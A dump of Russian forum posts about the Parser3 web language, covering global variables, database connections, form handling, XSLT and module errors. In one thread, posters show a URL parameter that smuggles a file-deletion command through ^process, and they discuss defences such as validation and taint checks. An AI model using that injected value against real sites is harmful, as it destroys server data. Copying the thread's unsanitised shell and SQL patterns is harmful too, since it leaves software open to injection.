Привидите пример, как это осуществляете, а то много раз вкл/выкл базу - нехорошо получается. \
И еще: таким же образом, занеся в @main[] например, можно отвязаться от \"$MAIN:\"? А вообще, в доке написано, что так и надо глобальные переменные юзать, однако общество негативно относится к такому способу. Почему?"
"21514","[code]\
@main[]\
^connect[строка соединения]{\
\
# тут все содержимое.\
# естественно это не означает, что весь код в одной страничке.\
# структурирование делается созданием объектов, их наследованием и т.д.\
# причем когда я внутри пишу SQL операторы мне не нужно постоянно писать connect\
\
}\
[/code]\
\
правда на самом деле я не пишу connect :)\
я использую для этого объект [url=\"/examples/comp/\"]своих классов[/url], и всезапросы пишу не ^table::sql{} & Co а через свой-же sql объект. и имею много пирожков при необходимости...\
\
а про переменные в MAIN: когда вы пишите что-то для себя, или что-то разовое, особенно когда у вас мало времени, нет ничего страшного чтобы использовать переменные в MAIN и из классов юзать это. однако когда заходит речь о зкаонченых классах, которые выкладываются для всеобщего доступа... представьте, я написал жутко полезный класс, в котором лезу в переменной $MAIN:xyz. дал его всем, вы его взяли, начинаете разбираться и понимаете, что для того, чтобы этот класс заработал вам придется завести у себя переменную $MAIN:xyz. а у вас то-же самое по сути уже есть, и лежит в $MAIN:xxx. что делать бум? редактировать у себя или у меня? а если поредактировали у меня а я через пару дней сделал очень крутой апдейт и появились новые очень полезные фичи? почти уверен, вы плюните и не будете апдейтить, т.к. использовать такой класс неудобно."
"21515","у меня на 3.0.8 работает с тремя параметрами, на HEAD с 3 параметрами падает..."
"21517","А то написал свой оператор, который возвращает 1 или 0, так пришлось его весь в одну строку писать чтобы осталась эта одна цифра и потом\
^if(^vbuser[1;$form:password] eq 1){\
    Свой\
  }{\
    Чужой\
  }\
Срабатывал как надо...\
А нормальные способы есть, чтобы и форматирование кода сохранить, и \"лишних денег не берут :)\"???"
"21518","то есть похоже не пробелы, а переводы строк мешают... и даже добавление сначала пробела с конце каждой строки не помогает почему-то, хотя в доке написано что оставляется первый символ из пробелов и переводов..."
"21520","Использовать ^file:list[http://www.site.ru/doc] не получается ;("
"21521","...глобальные переменные? Как их тогда, в каждом классе изображать? Оно понятно, что $MAIN: заставляет подстраиваться, но как же обойтись без него? Если можно, то еще примеров. Хочется сразу делать как можно грамотнее!"
"21522","картинку не видно потому, что [b]строка[/b] обрезается на первом нулевом байте.\
\
возможно, это будет реализовано в будущем. пока же используйте другие средства.\
вариант: в файлик /../exec/getblob.sh положите\
[code]\
#!/bin/sh\
\
/path/to/mysql -uUSER -pPASSWORD -hHOST -e \"select $1 from $2 where $3\" DB > $4\
[/code]\
дайте этому файлу право на исполнение,\
и запускайте \
[code]^file::exec[/../exec/gebglob;a;b;c;d;e][/code] с нужными параметрами."
"21524","дыра есть.\
представим себе\
[code]\
?page=^file::delete[/index^#2Ehtml]\
[/code]\
поэтому, собственно, process так опасен.\
\
понятно, можно дыру заткнуть. но, если есть безопасный способ, зачем риск?\
\
один из безопасных вариантов\
http://www.parser.ru/forum/?id=20720"
"21525","фу... позор мне позор... докатился... прямым текстом в доке же есть... и как не нашел только..."
"21526","http протокол != ftp протокол :)\
и страницы, показывающей оглавление, часто просто нет.\
\
скажем, есть документ\
  http://www.parser.ru/i/logo.gif\
но нет документа\
  http://www.parser.ru/i/\
\
вывод: чего нет увидеть нельзя.\
иногда авторы сайтов позволяют увидеть оглавление каталога:\
в некотором смысле, и вот эта страница = оглавление:\
  http://lib.ru/RUSS_DETEKTIW/BAKUNIN/\
но сами понимаете."
"21527","А если у меня вот что:\
[code]\
# Пути\
#========================================\
$dir_site[http://${MAIN:site_uri}${MAIN:dir_root}]\
$dir_mail[mailto:${MAIN:site_mail}]\
$dir_mods[${MAIN:dir_root}home/]\
$dir_admin[${MAIN:dir_root}admin/]\
$dir_moder[${MAIN:dir_root}moder/]\
$dir_theme[${MAIN:dir_root}theme/]\
$dir_site_theme[${MAIN:dir_theme}${MAIN:site_theme}/]\
$dir_img[${MAIN:dir_root}i/]\
$dir_avatars[${MAIN:dir_img}avatars/]\
$dir_lib[${MAIN:dir_root}lib/]\
$dir_conf[${MAIN:dir_lib}config/]\
$dir_lang[${MAIN:dir_lib}lang/]\
$dir_lang_default[${MAIN:dir_lang}${MAIN:site_lang}/]\
$dir_etc[${MAIN:dir_root}etc/]\
[/code]\
\
И я это юзаю во всех почти методах? Мне что, все передавать? Это лишь малая часть глобального. Зато здесь пути полностью контролируются, и отказаться от этого невозможно. Хотя у Миши написано, что жрется ух как много ресурсов для хранения таких переменных.\
\
Тут надо как-то иначе, ИМХО."
"21528","Можно создать отдельный класс, в котором определить все необходимые переменные, и сделать его родительским для всех своих.\
\
Примерно так, как это описывал Курепин:\
http://www.kurepin.ru/php/vars/"
"21530","по сути вы правы, однако для себя я их определяю немного иначе:\
\"глобальные\" - это для всего на свете кроме классов.\
\
классы болдны общаться с внешним миром только через сделаные специальным образом механизмы, и не как через абстрактные, где-то там определенные левой ногой переменные...\
\
представьте, вам дают метод, у которого тоже используется глобальная $dir_admin и т.д. вам нужен такой метод? вас его использовать будет сложно."
"21531","1. Конструктору ${sClass}_control нельзя передавать несколько параметров\
\
2. Парметром может быть только число или строка, но не хэш, таблица и др. сложный тип данных\
\
Всё остальное супер :) не надо плодить свитчи."
"21532","Не стоит процессить данные пришедшие из URI или форм. Однако если этого не делать, то это нормально работает, за искл. приведённых выше проблем."
"21533","Сразу скажу, что чтение раздела \"Класс date\" не помогло. Взяли из базы данных новость с временем ее создания. \
\
[code]\
^connect[$SQL.connect_string]{ \
   $news[^table::sql{select \
       news_date, news_autor, news_name, news_text  \
   from \
      news  \
   where \
      news_view='1' \
   order by `news_date` desc\
   }[$.limit(3)]][/code]\
\
Теперь надо вывести статью с датой в нужном нам формате, т.е. не стандартный SQL-формат \"2003-10-02 10:43:21\", а \"2 октября 2003, 10:43\". С учетом того что у меня в переменной $news уже и так таблица с полями, писать, например, $news.news_date.day нельзя, насколько я понимаю. А как тогда преобразовывать формат даты?"
"21535","Тогда такой вопрос: если я такие переменные определю в отдельный класс, который буду подключать, как говорит kolomeetz, то какая разница в затраченных ресурсах? По-моему, никакой, что в классе, что в auto.p. А про специальные механизмы - так это я не дорос еще по уму и опыту. Просто если в класс засунуть, то не спутается с другим $dir_admin. Верно?\
\
А под механизмами подразумевается Адаптер или Черный ящик? Вроде этого, наверное..."
"21536","[code]\
@create[name]\
^process{…$name…}\
[/code]\
\
даю два зуба на то, что через полгода кто-нибудь, а вовсе не вы сами, передаст в эту функцию что-то, пришедшее от пользователя.\
\
вывод:\
1. избегать подобного, если возможно. [покажите мне, где невозможно, обсудим]\
2. если уж так хочется: очищать эти данные.\
\
уже думал об этом какое-то время назад: вполне могу заткнуть эту потенциальную дыру: можно объявить, что \
«нельзя process-ить строки с tainted кусками»:\
в ^process можно проверить, что часть кода пришла от пользователя, и… выдать соответствующую ошибку.\
\
лично я: за.\
однако, уверен, есть и другие мнения :)"
"21537","в perl это включается ключиком. мне ключики не нравятся.\
там в режиме проверок tainted строк такие строки нельзя использовать в операциях с файлами.\
\
уверен, что так радикально большинству не понравится.\
\
вывод: мы идём своим путём… аккуратно."
"21538","кому нужно срочно, собирите из исходников."
"21539","Например тот случай с виртуальным конструктором - с switch конечно безопасно, однако при добавлении нового класса, нужно каждый раз это дело править в switch, а с process всё просто - в БД (или ещё где) хранится новое имя класса + файл с самим классом в нужное место. \
\
У меня такое используется только в одном месте - при создании объекта страницы, т.к. в принципе каждый раздел может имеет свой класс производный от базового, хотя количество этих классов ограничено (один класс может использоваться для нескольких разделов). Данные из внешних источников (URI), разумеется, в process не передаются, - они анализируются до этого (матчем) и по результатам анализа получается числовой код который и передаётся конструктору.\
\
Про затыкание дыры за - стоит [i]не[/i] процессить всё что пришло из внешних источников."
"21542","Подкчаюсь к базе Оракл, не меняя стандартных настроек.\
Посылаю запрос - любой запрос...получаю вот это\
exception in request exception handler: Exception 0xC0000005 at 0x00B8255D"
"21543","пока проблема мной не понята.\
пока воспользуйтесь odbc драйвером."
"21544","ну и хорошо, а  я то думал - руки кривые :) (или это пока не исключать? :)"
"21545","Заменил ЕХЕшник и Ораклавскую библиотеку с 1.0 на 0.8 и все заработало!"
"21546","перешел на Апач 1.3.28 и парсер 3.1.0 - видимо где-то потерял настройки при этом...\
$response:location вообще ничего не делает, а раньше работал безукоризненно... что ему надо для работы, а то что-то не нашел по форуму...\
спасибо..."
"21547","Судя по опыту, это баг модуля 3.1.0 для Апача.\
Можно воспользоваться cgi-версией."
"21548","ну вот так всегда... :( \
а баг-фикснутный вариант ожидается???"
"21550","кому нужно срочно, можно собрать из исходника."
"21551","имела место только в модуле к apache."
"21552","такой код у меня не будет работать... :-)"
"21553","Которую обсуждали тут: http://www.parser.ru/forum/?id=21463\
\
Код приведен вот здесь: http://www.parser.ru/forum/?id=21509\
Вопрос следующий. Пользователь попытался зарегистрироваться. Вводил о себе кучу информации, придумывал ее с паром, валящим из черепной коробки. Нажал кнопку \"добавить\". И тут ему сообщается что такое имя пользователя, например, уже есть и надо другое какое-то выбрать. И сверху пустая форма с утрачеными результатами его часовых мучений. Можно ли как-то в эту форму вставить то, что он указывал перед тем как нажал кнопку \"добавить\", за исключением информации, которая не прошла проверку?"
"21554","[code]\
?page=вредному-smalex.[^file::delete[/index^#2Ehtml]]\
[/code]"
"21555","может быть процессить всё подряд и плохо...\
\
но если ввести проверику перед процессом,\
чтобы имя класса состояло только из одних латинских букв,\
также как и имя метода...\
то враг не пройдёт... мне так кажется :-)"
"21557","1. напиши твой код со всеми проверками чтобы не прошел враг\
2. напиши код со switch или тот, что предлагал ПАФ\
3. сравни количество букв кода и его читабельность\
\
я остаюсь при своем мнении: в большинстве случаев подобный огород городить незачем (согласен, можно найти случаи, когда подобный подход себя оправлает, но я пока их не знаю)"
"21558","допустим у меня двадцать классов... и свитчи для них писать?\
\
а методов у меня у двадцати классов около сотни...\
\
я себе уже представил ту крассоту...\
\
читаемость будет не лучше чем у меня в пяти-шести строчках :-)"
"21559","Как делал я: данные из формы отправляются на страницу, где они проверяются и, либо заносятся в БД, либо сообщается об ошибке и [code]<a HREF=\"javascript:history.back()\">попробуйте еще раз</a>[/code]"
"21560","Сообщение об ошибке выводится на той же странице под всеми формами. Задача - не возвращаясь на начальную страницу заполнить формы введенной ранее информацией прямо на странице, где внизу сообщение об ошибке."
"21561","давайте будем ближе к делу: ведь реально не 20 классов?\
\
а количество методов вообще несущественно."
"21562","Ну, тогда <input ... value=\"данные\">"
"21563","почему не 20?\
реально классов больше, но \"внешних\" типа \"control\"\
будет вероятно не больше 20 штук.\
\
размер source уже перевалил за 220 кб и а ещё до конца далеко."
"21564","вот тут: www.comstock.com/Core/Customers/Registration/RegistrationForm.asp\
\
можно не перегружая страницу проверить, есть ли такой логин или нет. Изврат конечно, но классный.\
\
Касаемо проблемы, лень писать весь код, но пару намёков дам:\
\
[code]Имя: <input name=\"user_name\" ^if(def $form:user_name && ^is_valid[user_name;$form:user_name]){value=\"$form:user_name\"}>[/code]\
\
где метод ^is_valid получает как параметры имя поля формы и значение, проверяет их в БД, и возврвщает (result) 1 если всё в порядке, если всё плохо - в резулте нуль, и также создаем переменную $error_message в которую пишем текст ошибки.\
\
Правда придется ваш код немного модифицировать, но ему это не помешает, у вас там всё равно одно и то-же четыре раза повторяется, для каждого поля. Вобщем в конце если ^if(def $error_message) то $error_message если нет то нет.\
\
Незнаю, может где-то ошибся, но принцип примерно такой."
"21565","Или можно эту небольшую страничку подгружать не в pop-up, а в iframe на той же странице, где форма."
"21568","зачем делать 4 select-а если уже после первого будет ясно, что проблема с именем?\
\
можно написать примерно так:\
[code]\
^connect[$SQL.connect_string]{\
	^if(^int:sql{SELECT COUNT(*) FROM users WHERE user_name='$form:user_name'}){ \
	      $exception.handled(1) \
	      Такое имя уже есть\
	}{\
		^if(^int:sql{SELECT COUNT(*) FROM users WHERE user_nic='$form:user_nic'}){ \
		      $exception.handled(1) \
		      Такое Прозвище уже есть\
		}{\
			...\
		} \
	}\
}\
[/code]\
\
правда при таком подходе если посетитель введет существующие и имя и email, то ему придется 2 раза показывать ошибки, за раз по одной.\
\
и еще... мне лично не очень понятно, зачем добиваться уникальности ников и имен. по моему уникален должен быть только login..."
"21569","Ну, такой вариант вполне вписывается и в мой пример с легкими изменениями\
\
[code]Имя: <input name=\"user_name\" ^if(def $form:user_name && $exist_name_count > '0'){value=\"$form:user_name\"}>[/code]\
\
Спасибо."
"21570","http://www.parser.ru/f/1/download/win32/parser3_1_0_win32_apache_xml.zip конкретно интересует..."
"21572","."
"21573","на самом деле нифига не выгадывается так. Если у человека совпадают несколько пунктов, ему придется несколько раз исправлять, т.е. лучше сразу ему сказать, что надо исправить все пункты. а если ни один не совпадает, то все равно же все четыре пункта проверять, так что какая разница, делать их иерархически или подряд..."
"21574","Не можно, а нужно!\
Иначе это дурной тон :)"
"21575","а если я хочу разный код везде исполнять ?"
"21577","Решился я всё-таки тредовый форум написать для [url=\"http://nbsp.ru\"]сайта[/url], т.к. задолбали меня все эти vbulletin и phpbb. Вот смотрю опять здесь, думаю, а не выложили ли наконец исходники этого форума товарищи из design.ru? :-) \
\
Нет, не выложили… всё ещё стесняются.\
\
Ну да ладно. Погрустил немного. Вот сижу читаю [url=\"http://www.parser.ru/examples/trees/\"]сию[/url] гигантскую монографию автора Misha, 3 версии. 8-)\
\
В принципе всё ясно, за исключением пока одной детали:\
\
Шо це за конструкция, так часто встречающаяся в блоках SQL-запросов:\
\
[b]^MAIN:pSQL.[/b]"
"21579","что \"мда\". :-) ну не видел я этого."
"21581","...и заодно написал там команды создания индексов, которые более юзабельны, чем упоминаемые в статье до сих пор ;)"
"21582","У меня практически нет странич которые генерируются без запросов к БД, я хочу сделать так:\
\
@main[]\
^dbconnect{\
^page[]\
}\
\
В ^page[] определяется вся страница без написания ^dbconnect{...}.\
\
Собственно вопрос:\
Не будет ли глюков при n-ой вложенности \"^page(ов)[]\" при использовании некоторого количества классов, в некотором количестве файлов, в произвольной последовательности.\
\
ps: прошу прощения за абстракцию.\
\
Заране благодарю за ответы"
"21583","...как используя XML-конструкцию типа:\
[code]\
<tree>\
   <menu uri=\"/\" name=\"Начало\">\
      <menu uri=\"company/\" name=\"О компании\">\
          <menu uri=\"contacts/\" name=\"Контакты\"></menu>\
      </menu>\
      <menu uri=\"products/\" name=\"Продукция\"></menu>\
   </menu>\
</tree>\
[/code]\
\
и пременяя к ней правила XSLT:\
\
[code]\
<xsl:template match=\"tree\">\
<xsl:for-each select=\"//menu\">\
    <div>\
        <xsl:attribute name=\"style\">padding-left: <xsl:value-of select=\"count(ancestor::menu)*2\"/>em</xsl:attribute>\
        <a>\
	   <xsl:attribute name=\"href\"><xsl:value-of select=\"@uri\"/></xsl:attribute>\
	   <xsl:value-of select=\"@name\"/>\
	</a> - \
   </div>\
</xsl:for-each>\
</xsl:template>\
[/code]\
\
[b]получить атрибут @uri родителя (или родителя родителя...)??[b]\
\
То есть должно получиться что-то вроде (без div-ов):\
[code]\
<a href=\"/\">Начало</a>\
<a href=\"/сompany/\">О компании</a>\
<a href=\"/сompany/contacts/\">Контакты</a>\
<a href=\"/products/\">Продукция</a>\
[/code]"
"21584","[quot]\
Не будет ли глюков при n-ой вложенности \"^page(ов)[]\"\
[/quot]\
\
нет\
\
[quot]\
при использовании некоторого количества классов\
[/quot]\
\
нет\
\
[quot]\
в некотором количестве файлов\
[/quot]\
\
нет\
\
[quot]\
в произвольной последовательности\
[/quot]\
\
нет\
\
неприятности могут появиться если будете выдергивать из базы и работать парсером с большими объемами данных."
"21585","\"неприятности могут появиться если будете выдергивать из базы и работать парсером с большими объемами данных.\"\
\
Можно по подробнее что такое большие объёмы, и неприятности. pliz"
"21586","ага. ну и на этом спасибо. ;-) о большем боюсь просить.\
\
в общем, этот pSQL — бесполезная вещь, если не собираешься менять СУБД. и XML для форума, imho, совсем не обязателен. при большой нагрузке все эти преобразования только убьют сервак."
"21587","будут и тормоза SQL, и тормоза драйвера, и тормоза парсера, и тормоза и нехватка памяти скрипта..."
"21589","кажется так - ancestor::menu/@uri"
"21590","[quote]\
XML для форума, imho, совсем не обязателен. при большой нагрузке все эти преобразования только убьют сервак.\
[/quote]\
Всё это только теория - разумеется без XML быстрее, однако преобразование делается максимум за 0.1 сек. Да, без XML, нагрузка на сервер будет меньше, но это решит проблему масштаба лишь в крайне ограниченном диапазоне, которым просто можно пренебречь. Если наблюдается большой рост посещаемости, необходимо использовать другие пути:\
\
1. Многоуровневое кэширование\
2. Более мощное железо (если используется свой сервер)\
3. Если используется вируальный хостинг, - переход на другой тарифный план, где больше процессорного времени, памяти. Если самый крутой тариф не катит - от отдельного сервера никуда не денешься.\
\
При гигантской нагрузке не спасёт никакое железо и технология, - тут уже начинается область распределённых систем, но это уже совсем другая история."
"21591","Подскажите, пожалуйста, что надо сделать, чтобы переменные из, допустим, main.html отправлялись обработчику.\
\
Я написал:\
В main.html\
\
@telo_sleva\
левый блок\
\
В auto.p\
\
@main[]\
 ^telo_sleva[]\
\
Подскажите, что я сделал неправильно?"
"21592","надо наоборот - \
auto.p\
#через собаку задается метод\
@metod[]\
\
index.html\
#через птицу вызывается...\
^metod[]"
"21593","Дело в том, что я построил основу, но у меня не получается сделать её динамической. В руководстве написано, что можно в файле index.html написать \
^^^^^^^^^^^^^^^^^^^^^^^^^\
@greeting[]\
Добро пожаловать!\
@body_additional[]\
Главная страница сайта\
@body_main[]\
Основное содержание\
^^^^^^^^^^^^^^^^^^^^^^^^^\
И усё будет ОК!\
\
У меня же отображается\
************************\
@greeting[]\
Добро пожаловать!\
@body_additional[]\
Главная страница сайта\
@body_main[]\
Основное содержание\
************************\
Т.е. обработки не происходит."
"21597","Всё что тут сказано верно, но есть подводный камень - СУБД с транзакциями. Похоже, что все запросы в рамках одного коннекта выполняются в одной транзакции (там где это поддерживается) и это то и создаёт проблемы - один ошибочный запрос делает невалидными все остальные и скажем такой код:\
[code]\
^try{\
	$result[^table::sql{\
		select\
			...\
		from\
			...\
	}]\
}{\
	$exception.handled(1)\
	...\
}\
[/code]\
Если он может вызывать ошибки в запросе, будет работать в MySQL но не будет работать в PostgreSQL - т.к. ошибочными будут считаться все запросы страницы. MS SQL и Oracle не проверял, но возможно и там такое есть."
"21598","работает и так:\
[code]\
^MAIN:pSQL.server{\
	^void:sql{UPDATE auser SET name = 'ZZZ' WHERE auser_id = 121}\
	\
	^try{\
		^MAIN:pSQL.server{\
			^void:sql{UPDATE AAA}\
		}\
	}{\
		$exception.handled(1)\
	}\
}\
[/code]\
\
и даже так:\
\
[code]\
^MAIN:pSQL.server{\
	^void:sql{UPDATE auser SET name = 'ZZZ' WHERE auser_id = 121}\
	\
	^try{\
		^void:sql{UPDATE AAA}\
	}{\
		$exception.handled(1)\
	}\
}\
[/code]\
\
без $exception.handled(1) не работает..."
"21599","http://www.egoroff.spb.ru/portfolio/download/\
\
Там HEAD для Win32 собранная вчера вечером. Для FreeBSD чуть позже будет."
"21600","Постгрес посылает далеко:\
\
ERROR:  current transaction is aborted, queries ignored until end of transaction block\
\
Я делал START TRANSACTION и COMMIT TRANSACTION вокруг нужного блока, всё равно посылает :("
"21603","точка вызова rollback везде одинакова: если на ^connect{  этот момент>>}<< исключение не обработано, транзакция откатывается.\
\
возможно, вы открыли другой connect, он взял соединение из пула соединений, а он в пул положился в каком-то кривом состоянии.\
\
я делал в полном согласии с докой по PgSQL, однако, как все знают, этого часто недостаточно.\
[code]\
PGconn *conn=(PGconn *)connection;\
if(PGresult *res=PQexec(conn, \"ROLLBACK\"))\
	PQclear(res);\
else\
	throwPQerror;\
begin_transaction(services, conn);\
\
void begin_transaction(SQL_Driver_services& services, PGconn *conn) {\
	if(PGresult *res=PQexec(conn, \"BEGIN\"))\
		PQclear(res);\
	else\
		throwPQerror;\
}\
[/code]\
видите, открываю транзакцию после закрытия? возможно, знатоку PgSQL что-то покажется не так?\
\
исходники выложены ещё и с этой целью: кто знает, как надо сделать лучше, пусть да пришлёт patch.\
\
PgSQL мы в своей работе используем в ограниченном крайне объёме, так что наше к нему внимание соответствующее."
"21604","У меня парсер стоит как модуль апачи"
"21605","да какая разница, смысл один - что он не обрабатывает этот ваш документ... а почему не обрабатывает - не знаю... вообще если в httpd.conf нормально прописаны строки, которые натравливают Парсер на это расширение, то у меня проблем не было... разве может у вас там где .htaccess какой лишний лежит, который портит дело???"
"21606","Мой Апач с тамошним модулем ApacheModuleParser3.dll (просто остановил Апач, перезаписал, пытался Апач запустить) - не работает, как обычно ругается типа не находит модуль и т.д...\
Ща борюсь с CVS - он мне уже залил какую-то кучу каталогов...\
мда... первый раз все очень как-то делать не очень привычно..."
"21607","надо AddModule mod_parser3.c а не AddModule mod_parser3.С - расширение в нижнем регистре"
"21608","# Parser3\
AddModule mod_parser3.c\
\
как и было..."
"21609","Собрано VC .NET возможно у вас нет msvcr70.dll ни в системном каталоге ни рядом с модулем. У меня была такая гадость под NT 4 где этой библиотеки нет."
"21610","У меня именно NT4, после заливки в system32 заработало!!! и даже переходы делаются!!!\
Всем спасибо... и до кучи про CVS заинтересовался..."
"21611","Говоря про подводный камень - просто я учитываю не всё. Тупой тест:\
[code]\
^MAIN:pSQL.server{\
	^void:sql{UPDATE auser SET name = 'ZZZ' WHERE auser_id = 121}\
	\
	^try{\
		^void:sql{UPDATE AAA}\
	}{\
		$exception.handled(1)\
	}\
}\
\
[/code]\
Катит без проблем - однако реальный код нет. Дело не в вас и транзакциях, а в более сложных зависимостях, т.е. когда отсутствие результатов этого запроса вызывает цепную реакцию ошибок в других запросах, на которые тоже надо ставить try.\
\
PS: Это надо Мише кое куда стукнуть, любя конечно, т.е. есть не очень сильно. Спасибо за внимание."
"21612","Если использовать для ^string.replace[] таблицу с сопоставлением\
\
oldpiece -> пустота\
\
parser вылетает с ошибкой Array out of range.\
\
oldpiece -> пробел\
\
ошибки не вызывает.\
\
Проявляется на 3.08 - ISAPI-версия для IIS 5 на windows 2000 server"
"21614","Microsoft Visual C++ Runtime Library\
\
Runtime Error!\
\
Program E:\\Apache\\Apache.exe\
\
This application has requested the Runtime to terminate it in an unusual way.\
Please conract the appliction support team for more informtion."
"21616","У меня очень древний сервер, на котором никаких новых библиотек не стоит, - я положил указанную библиотеку куда надо и всё, заработало как по маслу."
"21618","Просто ^logEvent[] корректно не отрабатывается при регистрации - для вновь прибывшего в asession всегда пишется адЫн, а если делать технику с try из-за него всё и валится :) Такие дела."
"21619","если сам parser шлёт в sql сервер команды, которые приводят сессию работы с ним в некорректное состояние — это ошибка в parser.\
\
если команды шлёте некорректно вы сами, другое дело.\
\
какова ситуация у вас?"
"21620","причем падает не сам Апач, а дочерний...\
так что если ОК на сообщении об ошибки не нажимать (а кому там на серваке его нажимать?), то он дальше работает нормально без сбоев... и ничего..."
"21621","###########################\
Unhandled Exception (Debug)\
\
native method of MAIN (MAIN) accepts minimum 4 parameter(s) (3 present)\
for\
\
q:/home/pars/www/news/auto.p(56)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
for q:/home/pars/www/news/auto.p(56)\
menu q:/home/pars/www/news/auto.p(54)\
calendar q:/home/pars/www/news/test.html(1)\
###########################\
\
Отчего такое?\
\
Код я взял из справочника."
"21622","Парсер шлёт запрос который пытается вставить дубликаты в уникальный индекс."
"21623","[quote]\
Просто ^logEvent[] корректно не отрабатывается при регистрации - для вновь прибывшего в asession всегда пишется адЫн\
[/quote]\
адЫн потому что @last_insert_id у pgsql.p через попу определён. Остальное всё в силе."
"21624","Извините, забыл сам код написать:\
\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\
54|^days.menu{ \
55|   <tr> \
56|      ^for[week_day](0;6)\
57|	  { \
58|         ^if($days.$week_day)\
================================="
"21625","этот запрос шлёте вы. через parser.\
есть запросы, которые шлёт сам parser: \"commit\", \"rollback\", \"begin\".\
\
есть ошибка, которую вы описываете тут:\
http://www.parser.ru/forum/?id=21600\
\
как удалось её добиться?"
"21626","Нужно взять класс auth (у Миши), найти там метод insertUser и заменить это (старый код метода):\
[code]\
################################################################################\
# добавление пользователя\
# 0 - all ok\
# 1 - не задано имя, пароль или email в некоректном формате\
# 2 - пользователь с таким именем уже существует\
# 3 - неверно подтвержден пароль\
@insertUser[user_data][exist]\
^if(def $user_data.[auth.name] && ^is_email[$user_data.[auth.email]] && def $user_data.[auth.passwd]){\
	^rem{ *** правильно подтвержден пароль? *** }\
	^if($user_data.[auth.passwd] eq $user_data.[auth.passwd_confirm]){\
		^rem{ *** пароль подтвержден правильно. есть уже пользователь с таким именем? ***}\
		$exist(^csql.sql[int]{\
			SELECT\
				COUNT(*)\
			FROM\
				auser\
			WHERE\
				auser_type_id = $USER_ID AND\
				^csql.lower[name] = '^user_data.[auth.name].lower[]'\
		})\
		^if(!$exist){\
			^rem{ *** нету пользователя с таким именем, регистрируем ***}\
			^csql.sql[void]{\
				INSERT INTO auser (\
					auser_type_id,\
					name,\
					email,\
					passwd,\
					dt_register,\
					event_type\
					^if(def $user_data.[auth.rights]){, rights}\
				) VALUES (\
					$USER_ID,\
					'$user_data.[auth.name]',\
					'$user_data.[auth.email]',\
					'^cryptPassword[$user_data.[auth.passwd]]',\
					^csql.now[],\
					$new_user_event_type\
					^if(def $user_data.[auth.rights]){, '$user_data.[auth.rights]'}\
			)}\
			$new_user[\
				$.user_id(^csql.last_insert_id[auser])\
				$.name[$user_data.[auth.name]]\
				$.email[$user_data.[auth.email]]\
				$.rights[$user_data.rights]\
			]\
			$result(0)\
			\
			^rem{ *** загружаем полный список групп *** }\
			^getGroups[]\
\
			^rem{ *** а теперь включаем вновь добавленного пользователя в группы, у которых установлен is_default *** }\
			^groups.menu{\
				^if($groups.is_default){\
					^csql.sql[void]{\
						INSERT INTO auser_to_auser (\
							auser_id,\
							parent_id\
						) VALUES (\
							$new_user.user_id,\
							$groups.group_id\
					)}\
				}\
			}\
		}{\
			^rem{ *** есть уже пользователь с таким именем ***}\
			$result(2)\
		}\
	}{\
		^rem{ *** неверно подтвержден пароль ***}\
		$result(3)\
	}\
}{\
	^rem{ *** пришли неверные данные для регистрации: не задано имя/пароль или не валидный email ***}\
	$result(1)\
}\
^rem{ *** пишем в лог об этом событии *** }\
^logEvent[\
	$.user_id(^new_user.user_id.int(0))\
	$.name[$user_data.[auth.name]]\
	$.email[$user_data.[auth.email]]\
	$.rights[$user_data.rights]\
	$.event_type[$EVENT.insert_user]\
]($EVENT.insert_user)[$result]\
#end @insertUser[]\
[/code]\
На вот это:\
[code]\
################################################################################\
# добавление пользователя\
# 0 - all ok\
# 1 - не задано имя, пароль или email в некоректном формате\
# 2 - пользователь с таким именем уже существует\
# 3 - неверно подтвержден пароль\
@insertUser[user_data][exist]\
^if(def $user_data.[auth.name] && ^is_email[$user_data.[auth.email]] && def $user_data.[auth.passwd]){\
	^rem{ *** правильно подтвержден пароль? *** }\
	^if($user_data.[auth.passwd] eq $user_data.[auth.passwd_confirm]){\
		^rem{ *** пароль подтвержден правильно. есть уже пользователь с таким именем? ***}\
		^try{\
			^csql.sql[void]{\
				INSERT INTO auser (\
					auser_type_id,\
					name,\
					email,\
					passwd,\
					dt_register,\
					event_type\
					^if(def $user_data.[auth.rights]){, rights}\
				) VALUES (\
					$USER_ID,\
					'$user_data.[auth.name]',\
					'$user_data.[auth.email]',\
					'^cryptPassword[$user_data.[auth.passwd]]',\
					^csql.now[],\
					$new_user_event_type\
					^if(def $user_data.[auth.rights]){, '$user_data.[auth.rights]'}\
			)}\
\
			$new_user[\
				$.user_id(^csql.last_insert_id[auser])\
				$.name[$user_data.[auth.name]]\
				$.email[$user_data.[auth.email]]\
				$.rights[$user_data.rights]\
			]\
			$result(0)\
			\
			^rem{ *** загружаем полный список групп *** }\
			^getGroups[]\
\
			^rem{ *** а теперь включаем вновь добавленного пользователя в группы, у которых установлен is_default *** }\
			^groups.menu{\
				^if($groups.is_default){\
					^csql.sql[void]{\
						INSERT INTO auser_to_auser (\
							auser_id,\
							parent_id\
						) VALUES (\
							$new_user.user_id,\
							$groups.group_id\
					)}\
				}\
			}\
		}{\
			^rem{ *** есть уже пользователь с таким именем ***}\
			$exception.handled(1)\
			$result(2)\
		}\
	}{\
		^rem{ *** неверно подтвержден пароль ***}\
		$result(3)\
	}\
}{\
	^rem{ *** пришли неверные данные для регистрации: не задано имя/пароль или не валидный email ***}\
	$result(1)\
}\
^rem{ *** пишем в лог об этом событии *** }\
^logEvent[\
	$.user_id(^new_user.user_id.int(0))\
	$.name[$user_data.[auth.name]]\
	$.email[$user_data.[auth.email]]\
	$.rights[$user_data.rights]\
	$.event_type[$EVENT.insert_user]\
]($EVENT.insert_user)[$result]\
#end @insertUser[]\
[/code]\
При добавлении пользователя, логин которого уже есть в БД, появится эта ошибка, - если поместить ^logEvent[...] в ^try все проходит нормально, - вам говорится что уже есть такой логин, правда при этом событие в лог по понятным причинам не пишется.\
\
Правда в БД должен быть уникальный индекс по name и auser_type_id"
"21627","Unknown column 'pass' in 'field list'\
SELECT id, mem, pass FROM users WHERE login='admin'\
\
z:/home/sh/www/classes/session.p(103)\
exception.type=sql.execute \
\
\
Заранее благодарю"
"21628","Он хочет колонку pass в вашей таблице USERS."
"21633","после 56ой строки.\
\
[code]^days.menu{ \
 <tr> \
 ^for[week_day](0;6){ \
  ...\
 }\
 </tr>\
}[/code]"
"21637","Канечно неприлично вот так делать, про 2й здесь писать, но тама никто уже давно не отвечал. Вопрос: как в цикле обработать ВСЕ входные параметры макроса ?"
"21638","Здравствуйте.\
\
При сборке Парсера из cvs и обращении к странице с mysql:\
